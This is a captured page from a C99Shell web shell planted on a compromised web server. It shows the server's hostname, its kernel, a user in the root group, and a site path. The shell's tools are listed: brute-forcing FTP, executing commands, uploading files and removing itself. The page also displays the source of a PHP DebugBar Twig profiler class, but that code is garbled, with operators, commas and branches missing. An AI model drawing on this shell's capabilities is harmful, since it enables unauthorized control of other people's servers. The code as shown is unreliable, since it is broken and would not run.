!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/maximebf/debugbar/src/DebugBar/Bridge/   drwxr-xr-x
Free 25.18 GB of 117.98 GB (21.35%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     NamespacedTwigProfileCollector.php (5.67 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
DebugBar\Bridge;

use 
DebugBar\DataCollector\AssetProvider;
use 
DebugBar\DataCollector\DataCollector;
use 
DebugBar\DataCollector\Renderable;
use 
Twig\Environment;
use 
Twig\Loader\LoaderInterface;
use 
Twig\Profiler\Dumper\HtmlDumper;
use 
Twig\Profiler\Profile;

/**
 * Collects data about rendered templates
 *
 * http://twig.sensiolabs.org/
 *
 * A \Twig\Profiler\Profile should be added to your \Twig\Environment
 * The root-Twig\Profiler\Profile-object should then be injected into this collector
 *
 * you can optionally provide the \Twig\Environment or the \Twig\Loader to also create
 * debug-links.
 *
 * @see \Twig\Extension\ProfilerExtension, \Twig\Profiler\Profile
 *
 * <code>
 * $env = new \Twig\Environment($loader); // Or from a PSR11-container
 * $profile = new \Twig\Profiler\Profile();
 * $env->addExtension(new \Twig\Extension\ProfilerExtension($profile));
 * $debugbar->addCollector(new ModernTwigProfileCollector($profile, $env));
 * // or: $debugbar->addCollector(new ModernTwigProfileCollector($profile, $loader));
 * </code>
 */
class NamespacedTwigProfileCollector extends DataCollector implements RenderableAssetProvider
{
    
/**
     * @var Profile
     */
    
private $profile;

    
/**
     * @var LoaderInterface|Environment|null
     */
    
private $loader;

    
/**
     * @var int
     */
    
private $templateCount;

    
/**
     * @var int
     */
    
private $blockCount;

    
/**
     * @var int
     */
    
private $macroCount;
    
/**
     * @var array[] {
     * @var string $name
     * @var int $render_time
     * @var string $render_time_str
     * @var string $memory_str
     * @var string $xdebug_link
     * }
     */
    
private $templates;

    
/**
     * TwigProfileCollector constructor.
     *
     * @param Profile $profile
     * @param LoaderInterface|Environment $loaderOrEnv
     */
    
public function __construct(Profile $profile$loaderOrEnv null)
    {
        
$this->profile $profile;
        
$this->setLoaderOrEnv($loaderOrEnv);
    }

    
/**
     * @param LoaderInterface|Environment $loaderOrEnv
     */
    
public function setLoaderOrEnv($loaderOrEnv)
    {
        if (
$loaderOrEnv instanceof Environment) {
            
$loaderOrEnv $loaderOrEnv->getLoader();
        }

        
$this->loader $loaderOrEnv;
    }

    
/**
     * Returns a hash where keys are control names and their values
     * an array of options as defined in {@see \DebugBar\JavascriptRenderer::addControl()}
     *
     * @return array
     */
    
public function getWidgets()
    {
        return [
            
'twig' => [
                
'icon' => 'leaf',
                
'widget' => 'PhpDebugBar.Widgets.TemplatesWidget',
                
'map' => 'twig',
                
'default' => json_encode(['templates' => []]),
            ],
            
'twig:badge' => [
                
'map' => 'twig.badge',
                
'default' => 0,
            ],
        ];
    }

    
/**
     * @return array
     */
    
public function getAssets()
    {
        return [
            
'css' => 'widgets/templates/widget.css',
            
'js' => 'widgets/templates/widget.js',
        ];
    }

    
/**
     * Called by the DebugBar when data needs to be collected
     *
     * @return array Collected data
     */
    
public function collect()
    {
        
$this->templateCount $this->blockCount $this->macroCount 0;
        
$this->templates = [];
        
$this->computeData($this->profile);

        return [
            
'nb_templates' => $this->templateCount,
            
'nb_blocks' => $this->blockCount,
            
'nb_macros' => $this->macroCount,
            
'templates' => $this->templates,
            
'accumulated_render_time' => $this->profile->getDuration(),
            
'accumulated_render_time_str' => $this->getDataFormatter()->formatDuration($this->profile->getDuration()),
            
'memory_usage_str' => $this->getDataFormatter()->formatBytes($this->profile->getMemoryUsage()),
            
'callgraph' => $this->getHtmlCallGraph(),
            
'badge' => implode(
                
'/',
                [
                    
$this->templateCount,
                    
$this->blockCount,
                    
$this->macroCount,
                ]
            ),
        ];
    }

    
/**
     * Returns the unique name of the collector
     *
     * @return string
     */
    
public function getName()
    {
        return 
'twig';
    }

    public function 
getHtmlCallGraph()
    {
        
$dumper = new HtmlDumper();
        return 
$dumper->dump($this->profile);
    }

    
/**
     * Get an Xdebug Link to a file
     *
     * @return array {
     * @var string url
     * @var bool ajax
     * }
     */
    
public function getXdebugLink($template$line 1)
    {
        if (
is_null($this->loader)) {
            return 
null;
        }
        
$file $this->loader->getSourceContext($template)->getPath();

        return 
parent::getXdebugLink($file$line);
    }

    private function 
computeData(Profile $profile)
    {
        
$this->templateCount += ($profile->isTemplate() ? 0);
        
$this->blockCount += ($profile->isBlock() ? 0);
        
$this->macroCount += ($profile->isMacro() ? 0);
        if (
$profile->isTemplate()) {
            
$this->templates[] = [
                
'name' => $profile->getName(),
                
'render_time' => $profile->getDuration(),
                
'render_time_str' => $this->getDataFormatter()->formatDuration($profile->getDuration()),
                
'memory_str' => $this->getDataFormatter()->formatBytes($profile->getMemoryUsage()),
                
'xdebug_link' => $this->getXdebugLink($profile->getTemplate()),
            ];
        }
        foreach (
$profile as $p) {
            
$this->computeData($p);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0134 ]--